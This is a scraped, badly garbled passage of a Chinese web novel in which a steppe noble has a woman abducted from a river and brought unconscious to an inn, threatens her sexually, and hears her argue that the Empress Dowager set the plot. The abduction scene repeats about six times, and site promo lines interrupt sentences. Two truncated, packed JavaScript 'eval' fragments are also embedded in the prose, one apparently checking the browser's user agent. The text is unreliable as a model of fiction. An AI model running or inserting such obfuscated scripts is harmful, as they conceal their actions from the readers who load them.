二楼最里面的一间雅间内,忽兰儿穿着一身藏青色锦缎汉服,腰间系着墨色玉带,虽身形依旧高大粗犷,却也添了几分贵气。 他坐在紫檀木桌前,不时啜一口清茶,目光落在窗外的灯火上,眼底带着几分不耐,又藏着几分期待,显然是在等人。 “咚咚——” 轻缓的敲门声响起。 忽兰儿眼中精光一闪,放下茶杯,沉声道:“进来。” 门被轻轻推开一条缝,一道黑影闪身而入,动作迅捷,几乎没有发出声响。 那人怀中紧紧抱着一个人,身上裹着一件厚实的玄色貂皮披风,毛领蓬松柔软,将怀中之人裹得严严实实,看不清面容。 黑影快步走到屋内的拔步床前,小心翼翼地将怀中之人放到柔软的锦被上,随后转过身,对着忽兰儿躬身拱手,低声道:“台吉,人已送到。明日一早,您只需与她一同走出客栈房门,此事便算成了。台吉,您请享用吧……” 忽兰儿摆了摆手,语气带着几分不耐烦:“知道了,你退下吧。” “是!”黑影应声,又快速闪身出门,轻轻带上房门,转瞬便没了踪迹。 忽兰儿笑着站起身,缓步走到床边,眼底的期待再也掩饰不住。 他伸出手,轻轻掀开那床厚重的貂皮披风——披风之下,薛嘉言正静静躺着,身上只穿着一袭略显宽大的月白色中衣,领口微微松开,露出一小片白皙细腻的肌肤。 她的头发还有些湿,贴在光洁的额角和脸颊上,衬得那张本就苍白的脸庞愈发楚楚可怜,双眼紧紧闭着,长睫如蝶翼般轻垂,呼吸均匀,显然还在昏迷之中。 忽兰儿的目光落在她的脸上,眼底闪过一丝惊艳,不自觉地伸手过去,指腹轻轻在她柔嫩细腻的脸颊上流连,触感微凉,细腻得如同上好的羊脂玉。 他的指尖缓缓下移,抚过她饱满柔软的唇瓣,指腹微微用力,感受着那温热的触感,忽然想起那日在棋盘街,她舌灿莲花、从容平息事端的模样,这张利嘴原来是这般柔软,忽兰儿忍不住低笑出声,眼底的占有欲愈发浓烈。 他虽素来好色,身边从不缺女人,却有着自己的底线——绝不睡一个昏迷的女人。 在他看来,昏迷的女人毫无生气,与睡一具冰冷的尸体没什么区别。 他要的,是她清醒着,看着自己被他征服,沉沦,心甘情愿地臣服于自己。 水河面泛起一道微不可查的细小水波,悄无声息地向前流去。 河水转过弯道,在城墙最偏僻的角落里,冰面忽然破开。 一个人影破水而出,呼吸微促。 正是早已在此潜伏待命的死士。 他穿着一身墨色鲛皮水靠,此物乃以深海鲨皮鞣制而成,内衬丝绵,外涂桐油,密不透风,不惧严寒冰水。 他在水下屏息潜伏许久,等的就是这一刻。 死士稳稳托着昏迷不醒的薛嘉言,迅速登岸,拔去她口中用于呼吸的细竹管,随手丢入河中。 早已等候在墙角暗处的人影立刻上前,将薛嘉言裹进厚厚的黑色斗篷,横抱而起,转身便消失在沉沉夜色里,不留半分痕迹。 四夷馆不远处,矗立着一座气派非凡的客栈,名曰“汇宾楼”。 此楼共三层,青砖砌墙,朱红廊柱,楼内雕梁画栋,廊下挂满了名人字画,往来皆是衣着华贵的商贾、腰佩刀剑的世家子弟,还有不少身着异族服饰的使者。 客栈二楼三楼皆是雅间,内里陈设更是奢华,紫檀木桌椅上摆着汝窑青瓷茶具,墙角燃着安神的沉香,能在此处落脚的,皆是非富即贵之人。 二楼最里面的一间雅间内,忽兰儿穿着一身藏青色锦缎汉服,腰间系着墨色玉带,虽身形依旧高大粗犷,却也添了几分贵气。 他坐在紫檀木桌前,不时啜一口清茶,目光落在窗外的灯火上,眼底带着几分不耐,又藏着几分期待,显然是在等人。 “咚咚——” 轻缓的敲门声响起。 忽兰儿眼中精光一闪,放下茶杯,沉声道:“进来。” 门被轻轻推开一条缝,一道黑影闪身而入,动作迅捷,几乎没有发出声响。 那人怀中紧紧抱着一个人,身上裹着一件厚实的玄色貂皮披风,毛领蓬松柔软,将怀中之人裹得严严实实,看不清面容。 黑影快步走到屋内的拔步床前,小心翼翼地将怀中之人放到柔软的锦被上,随后转过身,对着忽兰儿躬身拱手,低声道:“台吉,人已送到。明日一早,您只需与她一同走出客栈房门,此事便算成了。台吉,您请享用吧……” 忽兰儿摆了摆手,语气带着几分不耐烦:“知道了,你退下吧。” “是!”黑影应声,又快速闪身出门,轻轻带上房门,转瞬便没了踪迹。 忽兰儿笑着站起身,缓步走到床边,眼底的期待再也掩饰不住。 他伸出手,轻轻掀开那床厚重的貂皮披风——披风之下,薛嘉言正静静躺着,身上只穿着一袭略显宽大的月白色中衣,领口微微松开,露出一小片白皙细腻的肌肤。 她的头发还有些湿,贴在光洁的额角和脸颊上,衬得那张本就苍白的脸庞愈发楚楚可怜,双眼紧紧闭着,长睫如蝶翼般轻垂,呼吸均匀,显然还在昏迷之中。 忽兰儿的目光落在她的脸上,眼底闪过一丝惊艳,不自觉地伸手过去,指腹轻轻在她柔嫩细腻的脸颊上流连,触感微凉,细腻得如同上好的羊脂玉。 他的指尖缓缓下移,抚过她饱满柔软的唇瓣,指腹微微用力,感受着那温热的触感,忽然想起那日在棋盘街,她舌灿莲花、从容平息事端的模样,这张利嘴原来是这般柔软,忽兰儿忍不住低笑出声,眼底的占有欲愈发浓烈。 他虽素来好色,身边从不缺女人,却有着自己的底线——绝不睡一个昏迷的女人。 在他看来,昏迷的女人毫无生气,与睡一具冰冷的尸体没什么区别。 他要的,是她清醒着,看着自己被他征服,沉沦,心甘情愿地臣服于自己。 水河面泛起一道微不可查的细小水波,悄无声息地向前流去。 河水转过弯道,在城墙最偏僻的角落里,冰面忽然破开。 一个人影破水而出,呼吸微促。 正是早已在此潜伏待命的死士。 他穿着一身墨色鲛皮水靠,此物乃以深海鲨皮鞣制而成,内衬丝绵,外涂桐油,密不透风,不惧严寒冰水。 他在水下屏息潜伏许久,等的就是这一刻。 死士稳稳托着昏迷不醒的薛嘉言,迅速登岸,拔去她口中用于呼吸的细竹管,随手丢入河中。 早已等候在墙角暗处的人影立刻上前,将薛嘉言裹进厚厚的黑色斗篷,横抱而起,转身便消失在沉沉夜色里,不留半分痕迹。 四夷馆不远处,矗立着一座气派非凡的客栈,名曰“汇宾楼”。 此楼共三层,青砖砌墙,朱红廊柱,楼内雕梁画栋,廊下挂满了名人字画,往来皆是衣着华贵的商贾、腰佩刀剑的世家子弟,还有不少身着异族服饰的使者。 客栈二楼三楼皆是雅间,内里陈设更是奢华,紫檀木桌椅上摆着汝窑青瓷茶具,墙角燃着安神的沉香,能在此处落脚的,皆是非富即贵之人。 二楼最里面的一间雅间内,忽兰儿穿着一身藏青色锦缎汉服,腰间系着墨色玉带,虽身形依旧高大粗犷,却也添了几分贵气。 他坐在紫檀木桌前,不时啜一口清茶,目光落在窗外的灯火上,眼底带着几分不耐,又藏着几分期待,显然是在等人。 “咚咚——” 轻缓的敲门声响起。 忽兰儿眼中精光一闪,放下茶杯,沉声道:“进来。” 门被轻轻推开一条缝,一道黑影闪身而入,动作迅捷,几乎没有发出声响。 那人怀中紧紧抱着一个人,身上裹着一件厚实的玄色貂皮披风,毛领蓬松柔软,将怀中之人裹得严严实实,看不清面容。 黑影快步走到屋内的拔步床前,小心翼翼地将怀中之人放到柔软的锦被上,随后转过身,对着忽兰儿躬身拱手,低声道:“台吉,人已送到。明日一早,您只需与她一同走出客栈房门,此事便算成了。台吉,您请享用吧……” 忽兰儿摆了摆手,语气带着几分不耐烦:“知道了,你退下吧。” “是!”黑影应声,又快速闪身出门,轻轻带上房门,转瞬便没了踪迹。 忽兰儿笑着站起身,缓步走到床边,眼底的期待再也掩饰不住。 他伸出手,轻轻掀开那床厚重的貂皮披风——披风之下,薛嘉言正静静躺着,身上只穿着一袭略显宽大的月白色中衣,领口微微松开,露出一小片白皙细腻的肌肤。 她的头发还有些湿,贴在光洁的额角和脸颊上,衬得那张本就苍白的脸庞愈发楚楚可怜,双眼紧紧闭着,长睫如蝶翼般轻垂,呼吸均匀,显然还在昏迷之中。 忽兰儿的目光落在她的脸上,眼底闪过一丝惊艳,不自觉地伸手过去,指腹轻轻在她柔嫩细腻的脸颊上流连,触感微凉,细腻得如同上好的羊脂玉。 他的指尖缓缓下移,抚过她饱满柔软的唇瓣,指腹微微用力,感受着那温热的触感,忽然想起那日在棋盘街,她舌灿莲花、从容平息事端的模样,这张利嘴原来是这般柔软,忽兰儿忍不住低笑出声,眼底的占有欲愈发浓烈。 他虽素来好色,身边从不缺女人,却有着自己的底线——绝不睡一个昏迷的女人。 在他看来,昏迷的女人毫无生气,与睡一具冰冷的尸体没什么区别。 他要的,是她清醒着,看着自己被他征服,沉沦,心甘情愿地臣服于自己。 水河面泛起一道微不可查的细小水波,悄无声息地向前流去。 河水转过弯道,在城墙最偏僻的角落里,冰面忽然破开。 一个人影破水而出,呼吸微促。 正是早已在此潜伏待命的死士。 他穿着一身墨色鲛皮水靠,此物乃以深海鲨皮鞣制而成,内衬丝绵,外涂桐油,密不透风,不惧严寒冰水。 他在水下屏息潜伏许久,等的就是这一刻。 死士稳稳托着昏迷不醒的薛嘉言,迅速登岸,拔去她口中用于呼吸的细竹管,随手丢入河中。 早已等候在墙角暗处的人影立刻上前,将薛嘉言裹进厚厚的黑色斗篷,横抱而起,转身便消失在沉沉夜色里,不留半分痕迹。 四夷馆不远处,矗立着一座气派非凡的客栈,名曰“汇宾楼”。 此楼共三层,青砖砌墙,朱红廊柱,楼内雕梁画栋,廊下挂满了名人字画,往来皆是衣着华贵的商贾、腰佩刀剑的世家子弟,还有不少身着异族服饰的使者。 客栈二楼三楼皆是雅间,内里陈设更是奢华,紫檀木桌椅上摆着汝窑青瓷茶具,墙角燃着安神的沉香,能在此处落脚的,皆是非富即贵之人。 二楼最里面的一间雅间内,忽兰儿穿着一身藏青色锦缎汉服,腰间系着墨色玉带,虽身形依旧高大粗犷,却也添了几分贵气。 他坐在紫檀木桌前,不时啜一口清茶,目光落在窗外的灯火上,眼底带着几分不耐,又藏着几分期待,显然是在等人。 “咚咚——” 轻缓的敲门声响起。 忽兰儿眼中精光一闪,放下茶杯,沉声道:“进来。” 门被轻轻推开一条缝,一道黑影闪身而入,动作迅捷,几乎没有发出声响。 那人怀中紧紧抱着一个人,身上裹着一件厚实的玄色貂皮披风,毛领蓬松柔软,将怀中之人裹得严严实实,看不清面容。 黑影快步走到屋内的拔步床前,小心翼翼地将怀中之人放到柔软的锦被上,随后转过身,对着忽兰儿躬身拱手,低声道:“台吉,人已送到。明日一早,您只需与她一同走出客栈房门,此事便算成了。台吉,您请享用吧……” 忽兰儿摆了摆手,语气带着几分不耐烦:“知道了,你退下吧。” “是!”黑影应声,又快速闪身出门,轻轻带上房门,转瞬便没了踪迹。 忽兰儿笑着站起身,缓步走到床边,眼底的期待再也掩饰不住。 他伸出手,轻轻掀开那床厚重的貂皮披风——披风之下,薛嘉言正静静躺着,身上只穿着一袭略显宽大的月白色中衣,领口微微松开,露出一小片白皙细腻的肌肤。 她的头发还有些湿,贴在光洁的额角和脸颊上,衬得那张本就苍白的脸庞愈发楚楚可怜,双眼紧紧闭着,长睫如蝶翼般轻垂,呼吸均匀,显然还在昏迷之中。 忽兰儿的目光落在她的脸上,眼底闪过一丝惊艳,不自觉地伸手过去,指腹轻轻在她柔嫩细腻的脸颊上流连,触感微凉,细腻得如同上好的羊脂玉。 他的指尖缓缓下移,抚过她饱满柔软的唇瓣,指腹微微用力,感受着那温热的触感,忽然想起那日在棋盘街,她舌灿莲花、从容平息事端的模样,这张利嘴原来是这般柔软,忽兰儿忍不住低笑出声,眼底的占有欲愈发浓烈。 他虽素来好色,身边从不缺女人,却有着自己的底线——绝不睡一个昏迷的女人。 在他看来,昏迷的女人毫无生气,与睡一具冰冷的尸体没什么区别。 他要的,是她清醒着,看着自己被他征服,沉沦,心甘情愿地臣服于自己。 水河面泛起一道微不可查的细小水波,悄无声息地向前流去。 河水转过弯道,在城墙最偏僻的角落里,冰面忽然破开。 一个人影破水而出,呼吸微促。 正是早已在此潜伏待命的死士。 他穿着一身墨色鲛皮水靠,此物乃以深海鲨皮鞣制而成,内衬丝绵,外涂桐油,密不透风,不惧严寒冰水。 他在水下屏息潜伏许久,等的就是这一刻。 死士稳稳托着昏迷不醒的薛嘉言,迅速登岸,拔去她口中用于呼吸的细竹管,随手丢入河中。 早已等候在墙角暗处的人影立刻上前,将薛嘉言裹进厚厚的黑色斗篷,横抱而起,转身便消失在沉沉夜色里,不留半分痕迹。 四夷馆不远处,矗立着一座气派非凡的客栈,名曰“汇宾楼”。 此楼共三层,青砖砌墙,朱红廊柱,楼内雕梁画栋,廊下挂满了名人字画,往来皆是衣着华贵的商贾、腰佩刀剑的世家子弟,还有不少身着异族服饰的使者。 客栈二楼三楼皆是雅间,内里陈设更是奢华,紫檀木桌椅上摆着汝窑青瓷茶具,墙角燃着安神的沉香,能在此处落脚的,皆是非富即贵之人。 二楼最里面的一间雅间内,忽兰儿穿着一身藏青色锦缎汉服,腰间系着墨色玉带,虽身形依旧高大粗犷,却也添了几分贵气。 他坐在紫檀木桌前,不时啜一口清茶,目光落在窗外的灯火上,眼底带着几分不耐,又藏着几分期待,显然是在等人。 “咚咚——” 轻缓的敲门声响起。 忽兰儿眼中精光一闪,放下茶杯,沉声道:“进来。” 门被轻轻推开一条缝,一道黑影闪身而入,动作迅捷,几乎没有发出声响。 那人怀中紧紧抱着一个人,身上裹着一件厚实的玄色貂皮披风,毛领蓬松柔软,将怀中之人裹得严严实实,看不清面容。 黑影快步走到屋内的拔步床前,小心翼翼地将怀中之人放到柔软的锦被上,随后转过身,对着忽兰儿躬身拱手,低声道:“台吉,人已送到。明日一早,您只需与她一同走出客栈房门,此事便算成了。台吉,您请享用吧……” 忽兰儿摆了摆手,语气带着几分不耐烦:“知道了,你退下吧。” “是!”黑影应声,又快速闪身出门,轻轻带上房门,转瞬便没了踪迹。 忽兰儿笑着站起身,缓步走到床边,眼底的期待再也掩饰不住。 他伸出手,轻轻掀开那床厚重的貂皮披风——披风之下,薛嘉言正静静躺着,身上只穿着一袭略显宽大的月白色中衣,领口微微松开,露出一小片白皙细腻的肌肤。 她的头发还有些湿,贴在光洁的额角和脸颊上,衬得那张本就苍白的脸庞愈发楚楚可怜,双眼紧紧闭着,长睫如蝶翼般轻垂,呼吸均匀,显然还在昏迷之中。 忽兰儿的目光落在她的脸上,眼底闪过一丝惊艳,不自觉地伸手过去,指腹轻轻在她柔嫩细腻的脸颊上流连,触感微凉,细腻得如同上好的羊脂玉。 他的指尖缓缓下移,抚过她饱满柔软的唇瓣,指腹微微用力,感受着那温热的触感,忽然想起那日在棋盘街,她舌灿莲花、从容平息事端的模样,这张利嘴原来是这般柔软,忽兰儿忍不住低笑出声,眼底的占有欲愈发浓烈。 他虽素来好色,身边从不缺女人,却有着自己的底线——绝不睡一个昏迷的女人。 在他看来,昏迷的女人毫无生气,与睡一具冰冷的尸体没什么区别。 他要的,是她清醒着,看着自己被他征服,沉沦,心甘情愿地臣服于自己。 水河面泛起一道微不可查的细小水波,悄无声息地向前流去。 河水转过弯道,在城墙最偏僻的角落里,冰面忽然破开。 一个人影破水而出,呼吸微促。 正是早已在此潜伏待命的死士。 他穿着一身墨色鲛皮水靠,此物乃以深海鲨皮鞣制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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忽兰儿摆了摆手,语气带着几分不耐烦:“知道了,你退下吧。” “是!”黑影应声,又快速闪身出门,轻轻带上房门,转瞬便没了踪迹。 忽兰儿笑着站起身,缓步走到床边,眼底的期待再也掩饰不住。 他伸出手,轻轻掀开那床厚重的貂皮披风——披风之下,薛嘉言正静静躺着,身上只穿着一袭略显宽大的月白色中衣,领口微微松开,露出一小片白皙细腻的肌肤。 她的头发还有些湿,贴在光洁的额角和脸颊上,衬得那张本就苍白的脸庞愈发楚楚可怜,双眼紧紧闭着,长睫如蝶翼般轻垂,呼吸均匀,显然还在昏迷之中。 忽兰儿的目光落在她的脸上,眼底闪过一丝惊艳,不自觉地伸手过去,指腹轻轻在她柔嫩细腻的脸颊上流连,触感微凉,细腻得如同上好的羊脂玉。 他的指尖缓缓下移,抚过她饱满柔软的唇瓣,指腹微微用力,感受着那温热的触感,忽然想起那日在棋盘街,她舌灿莲花、从容平息事端的模样,这张利嘴原来是这般柔软,忽兰儿忍不住低笑出声,眼底的占有欲愈发浓烈。 他虽素来好色,身边从不缺女人,却有着自己的底线——绝不睡一个昏迷的女人。 在他看来,昏迷的女人毫无生气,与睡一具冰冷的尸体没什么区别。 他要的,是她清醒着,看着自己被他征服,沉沦,心甘情愿地臣服于自己。 水河面泛起一道微不可查的细小水波,悄无声息地向前流去。 河水转过弯道,在城墙最偏僻的角落里,冰面忽然破开。 一个人影破水而出,呼吸微促。 正是早已在此潜伏待命的死士。 他穿着一身墨色鲛皮水靠,此物乃以深海鲨皮鞣制而成,内衬丝绵,外涂桐油,密不透风,不惧严寒冰水。 他在水下屏息潜伏许久,等的就是这一刻。 死士稳稳托着昏迷不醒的薛嘉言,迅速登岸,拔去她口中用于呼吸的细竹管,随手丢入河中。 早已等候在墙角暗处的人影立刻上前,将薛嘉言裹进厚厚的黑色斗篷,横抱而起,转身便消失在沉沉夜色里,不留半分痕迹。 四夷馆不远处,矗立着一座气派非凡的客栈,名曰“汇宾楼”。 此楼共三层,青砖砌墙,朱红廊柱,楼内雕梁画栋,廊下挂满了名人字画,往来皆是衣着华贵的商贾、腰佩刀剑的世家子弟,还有不少身着异族服饰的使者。 客栈二楼三楼皆是雅间,内里陈设更是奢华,紫檀木桌椅上摆着汝窑青瓷茶具,墙角燃着安神的沉香,能在此处落脚的,皆是非富即贵之人。 二楼最里面的一间雅间内,忽兰儿穿着一身藏青色锦缎汉服,腰间系着墨色玉带,虽身形依旧高大粗犷,却也添了几分贵气。 他坐在紫檀木桌前,不时啜一口清茶,目光落在窗外的灯火上,眼底带着几分不耐,又藏着几分期待,显然是在等人。 “咚咚——” 轻缓的敲门声响起。 忽兰儿眼中精光一闪,放下茶杯,沉声道:“进来。” 门被轻轻推开一条缝,一道黑影闪身而入,动作迅捷,几乎没有发出声响。 那人怀中紧紧抱着一个人,身上裹着一件厚实的玄色貂皮披风,毛领蓬松柔软,将怀中之人裹得严严实实,看不清面容。 黑影快步走到屋内的拔步床前,小心翼翼地将怀中之人放到柔软的锦被上,随后转过身,对着忽兰儿躬身拱手,低声道:“台吉,人已送到。明日一早,您只需与她一同走出客栈房门,此事便算成了。台吉,您请享用吧……” 忽兰儿摆了摆手,语气带着几分不耐烦:“知道了,你退下吧。” “是!”黑影应声,又快速闪身出门,轻轻带上房门,转瞬便没了踪迹。 忽兰儿笑着站起身,缓步走到床边,眼底的期待再也掩饰不住。 他伸出手,轻轻掀开那床厚重的貂皮披风——披风之下,薛嘉言正静静躺着,身上只穿着一袭略显宽大的月白色中衣,领口微微松开,露出一小片白皙细腻的肌肤。 她的头发还有些湿,贴在光洁的额角和脸颊上,衬得那张本就苍白的脸庞愈发楚楚可怜,双眼紧紧闭着,长睫如蝶翼般轻垂,呼吸均匀,显然还在昏迷之中。 忽兰儿的目光落在她的脸上,眼底闪过一丝惊艳,不自觉地伸手过去,指腹轻轻在她柔嫩细腻的脸颊上流连,触感微凉,细腻得如同上好的羊脂玉。 他的指尖缓缓下移,抚过她饱满柔软的唇瓣,指腹微微用力,感受着那温热的触感,忽然想起那日在棋盘街,她舌灿莲花、从容平息事端的模样,这张利嘴原来是这般柔软,忽兰儿忍不住低笑出声,眼底的占有欲愈发浓烈。 他虽素来好色,身边从不缺女人,却有着自己的底线——绝不睡一个昏迷的女人。 在他看来,昏迷的女人毫无生气,与睡一具冰冷的尸体没什么区别。 他要的,是她清醒着,看着自己被他征服,沉沦,心甘情愿地臣服于自己。 水河面泛起一道微不可查的细小水波,悄无声息地向前流去。 河水转过弯道,在城墙最偏僻的角落里,冰面忽然破开。 一个人影破水而出,呼吸微促。 正是早已在此潜伏待命的死士。 他穿着一身墨色鲛皮水靠,此物乃以深海鲨皮鞣制而成,内衬丝绵,外涂桐油,密不透风,不惧严寒冰水。 他在水下屏息潜伏许久,等的就是这一刻。 死士稳稳托着昏迷不醒的薛嘉言,迅速登岸,拔去她口中用于呼吸的细竹管,随手丢入河中。 早已等候在墙角暗处的人影立刻上前,将薛嘉言裹进厚厚的黑色斗篷,横抱而起,转身便消失在沉沉夜色里,不留半分痕迹。 四夷馆不远处,矗立着一座气派非凡的客栈,名曰“汇宾楼”。 此楼共三层,青砖砌墙,朱红廊柱,楼内雕梁画栋,廊下挂满了名人字画,往来皆是衣着华贵的商贾、腰佩刀剑的世家子弟,还有不少身着异族服饰的使者。 客栈二楼三楼皆是雅间,内里陈设更是奢华,紫檀木桌椅上摆着汝窑青瓷茶具,墙角燃着安神的沉香,能在此处落脚的,皆是非富即贵之人。 二楼最里面的一间雅间内,忽兰儿穿着一身藏青色锦缎汉服,腰间系着墨色玉带,虽身形依旧高大粗犷,却也添了几分贵气。 他坐在紫檀木桌前,不时啜一口清茶,目光落在窗外的灯火上,眼底带着几分不耐,又藏着几分期待,显然是在等人。 “咚咚——” 轻缓的敲门声响起。 忽兰儿眼中精光一闪,放下茶杯,沉声道:“进来。” 门被轻轻推开一条缝,一道黑影闪身而入,动作迅捷,几乎没有发出声响。 那人怀中紧紧抱着一个人,身上裹着一件厚实的玄色貂皮披风,毛领蓬松柔软,将怀中之人裹得严严实实,看不清面容。 黑影快步走到屋内的拔步床前,小心翼翼地将怀中之人放到柔软的锦被上,随后转过身,对着忽兰儿躬身拱手,低声道:“台吉,人已送到。明日一早,您只需与她一同走出客栈房门,此事便算成了。台吉,您请享用吧……” 忽兰儿摆了摆手,语气带着几分不耐烦:“知道了,你退下吧。” “是!”黑影应声,又快速闪身出门,轻轻带上房门,转瞬便没了踪迹。 忽兰儿笑着站起身,缓步走到床边,眼底的期待再也掩饰不住。 他伸出手,轻轻掀开那床厚重的貂皮披风——披风之下,薛嘉言正静静躺着,身上只穿着一袭略显宽大的月白色中衣,领口微微松开,露出一小片白皙细腻的肌肤。 她的头发还有些湿,贴在光洁的额角和脸颊上,衬得那张本就苍白的脸庞愈发楚楚可怜,双眼紧紧闭着,长睫如蝶翼般轻垂,呼吸均匀,显然还在昏迷之中。 忽兰儿的目光落在她的脸上,眼底闪过一丝惊艳,不自觉地伸手过去,指腹轻轻在她柔嫩细腻的脸颊上流连,触感微凉,细腻得如同上好的羊脂玉。 他的指尖缓缓下移,抚过她饱满柔软的唇瓣,指腹微微用力,感受着那温热的触感,忽然想起那日在棋盘街,她舌灿莲花、从容平息事端的模样,这张利嘴原来是这般柔软,忽兰儿忍不住低笑出声,眼底的占有欲愈发浓烈。 他虽素来好色,身边从不缺女人,却有着自己的底线——绝不睡一个昏迷的女人。 在他看来,昏迷的女人毫无生气,与睡一具冰冷的尸体没什么区别。 他要的,是她清醒着,看着自己被他征服,沉沦,心甘情愿地臣服于自己。 第349章 想通 忽兰儿从怀中摸出一个小巧的白玉瓷瓶,拧开瓶塞,一股刺鼻的辛辣气息瞬间弥漫开来。 瓷瓶里面装的是“通关散,平日里他在草原上狩猎、议事时,常用来提神醒脑,只需嗅上几口,便能瞬间清醒。 他将瓷瓶凑到薛嘉言的鼻子底下,轻轻晃动了几下。不过几个呼吸的功夫,薛嘉言的眉心便轻轻蹙了起来,长长的睫毛微微颤动,嘴唇无意识地轻启,溢出一丝微弱的呻吟,似是被这刺鼻的气味扰得难受。 忽兰儿见状,嘴角勾起一抹玩味的笑意,俯身下来,温热的气息喷在薛嘉言的耳畔,声音低沉沙哑,带着暧昧的戏谑:“美人,我可没有太多耐心等你。你再不醒来,就算是昏迷着,我也只能尝尝你的味道了…… 薛嘉言此刻已是半梦半醒,意识如同沉在混沌的迷雾中,耳边忽然传来陌生的气息,那声音粗粝中带着几分别扭的中原官话,口音奇特,绝非她熟悉的人。 这陌生的感觉让她心头一紧,混沌的意识瞬间被拉扯回几分,脑海中轰然闪过昏迷前的最后一幕—— 马车失控,车身剧烈摇晃,随后便是一阵天翻地覆的撞击,紧接着,冰冷的河水裹挟着她下坠,有什么冰凉滑腻的东西悄悄靠近,她下意识地伸手一摸,那触感刺骨又黏腻,不等她反应过来,一记重击便落在了她的后颈,剧痛传来,她瞬间失去了力气,昏迷前的最后一丝意识,是那东西强行将一个细小的物件塞进了她的嘴里,让她呼吸到了一丝空气。 “呸! 薛嘉言下意识地想要将嘴里的东西吐出来,可当她转动舌头时,却发现嘴里空空如也,什么都没有。 意识渐渐回笼,混沌散去,薛嘉言猛地睁开双眼,瞳孔骤然收缩——眼前赫然是一张黝黑粗糙的大脸,眉眼深邃,轮廓硬朗,充满了桀骜与野性。 这张脸距离她极近,近得能看清他脸上的浓密的胡茬,还有那双灼热得几乎要将她吞噬的眼睛。 突如其来的惊吓让薛嘉言浑身一僵,下意识地便要张嘴惊叫,可她的声音还未发出,一只温热有力的大掌便猛地捂住了她的嘴,力道不大,却足以让她发不出任何声音。 “薛娘子,喊出来,对你可没好处。 黑脸大汉缓缓开口,一口别扭生硬的中原官话,声音粗粝,入耳便让薛嘉言心头一震。 她眸中瞬间翻涌着浓烈的憎恶与恐惧,死死攥紧身下的锦被,连呼吸都变得急促起来。 是他,朵颜部的忽兰台吉。他竟然真的敢在京城腹地,明目张胆地掳 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 走她。 忽兰儿将她的神色变化尽收眼底,眼底闪过一丝得意:“你不叫,我就放开你。明白,就眨眨眼。” 薛嘉言强迫自己冷静下来。她知道,此刻硬碰硬只会激怒眼前这个草原莽夫,唯有先稳住他,才能找到脱身的机会。 她飞快地眨了眨眼,眼底的恐惧稍稍收敛,却依旧带着几分警惕,死死盯着忽兰儿,不敢有半分松懈。 忽兰儿见状,嘴角勾起一抹玩味的笑,缓缓松开了捂住她嘴的大掌。 掌心的温热褪去,取而代之的是空气中残留的、他身上特有的气息,让薛嘉言下意识地偏过头,蹙紧了眉头。 他的目光肆无忌惮地流连在她修长纤细的脖颈上——那袭中衣本就不合身,领口宽大,又因她方才的挣扎微微滑落,露出一片白皙细腻、毫无瑕疵的肌肤,衬得她面色愈发苍白,更添了几分楚楚可怜的脆弱,看得忽兰儿眼底的灼热又浓了几分。 薛嘉言察觉到他露骨的目光,心头一紧,下意识地抬手拢了拢衣襟,将脖颈牢牢遮住。 直到这时,她才清晰地感觉到浑身的不适感:四肢酸软无力,稍微动一下,骨头缝里就传来一阵细密的刺痛,浑身发冷,指尖冰凉,想来是方才在冰冷的河水里泡了许久,寒气侵入骨髓,才会这般难受。 她强忍着身体的酸痛与心底的恶心,喉咙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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努力说服 太后……她就这么恨自己吗?自己不过是一个没有名分、连后宫都未曾踏入的皇帝外室,既没有家族势力可以依靠,也没有威胁到她的权势,她为何要费这么大的心思,布下这么大的局,要将自己置于死地? 更让薛嘉言心惊的是,太后偏偏选择了忽兰儿作为棋子。 忽兰儿性情桀骜、行事鲁莽,太后此举,分明是想借忽兰儿的手,彻底除掉自己,同时还能挑拨皇帝与朵颜部的关系,破坏两国和谈,好趁机得到某些她想要的东西。 薛嘉言越想,心头越凉,眼底的恐惧渐渐被一丝凝重与警惕取代。 “忽兰台吉,咳咳…… 薛嘉言刚一开口,嗓子便传来一阵干涩的刺痛,一句话未说完整,便忍不住剧烈的咳嗽起来。 她白皙的脸颊被咳得泛起一层淡淡的绯红,眼底也氤氲起一层水光,原本就苍白的面色更显脆弱,模样楚楚可怜,瞬间勾起了忽兰儿心底的怜惜。 忽兰儿见状,眉头下意识一蹙,先前眼底的戏谑与占有欲淡了几分。 他快步走到桌前,端起那杯还冒着温热气息的清茶,小心翼翼地走到床边,递到薛嘉言面前,语气不自觉放软:“慢点说,先喝口茶润润嗓子。 薛嘉言费力坐起来,伸手接过茶杯,勉强抿了几口温热的茶水,温热的茶水滑过干涩的喉咙,那股灼烧般的刺痛才稍稍缓解。 她放下茶杯,靠在床头,缓了缓气息,才抬眸看向忽兰儿,声音依旧不大,却似乎很是可惜:“台吉倒不怕,成为别人手中的工具,白白丧失和谈的先机,连累整个朵颜部。 忽兰儿闻言,眉峰猛地一挑,脸上又恢复了先前的桀骜,“此话何意?你倒是说说。 薛嘉言迎上他探究的目光,没有丝毫闪躲,缓缓开口,一字一句清晰道:“与台吉合谋,帮您掳走我的,是太后娘娘吧? 忽兰儿先是一怔,随即忍不住哈哈大笑起来,眼底满是赞许与玩味:“没错!果然是个聪明的女人,一点就透。本台吉还以为,你要猜上许久呢。 “台吉若是当真信了太后的话,怕是要掉入她精心布下的陷阱里,万劫不复。薛嘉言语气平静,却字字戳中要害,眼底带着几分恳切,仿佛真的在为他着想。 忽兰儿收住笑容,挑眉示意她继续:“哦?陷阱?你倒说说,是什么陷阱。 薛嘉言微微俯身,声音放低了几分,“想必忽兰台吉不会天真地认为,太后娘娘是不求任何报偿,真心帮您吧?您仔细想想,在这件事里,她能得 你的朋友正在书荒,快去帮帮他吧 到什么好处?” 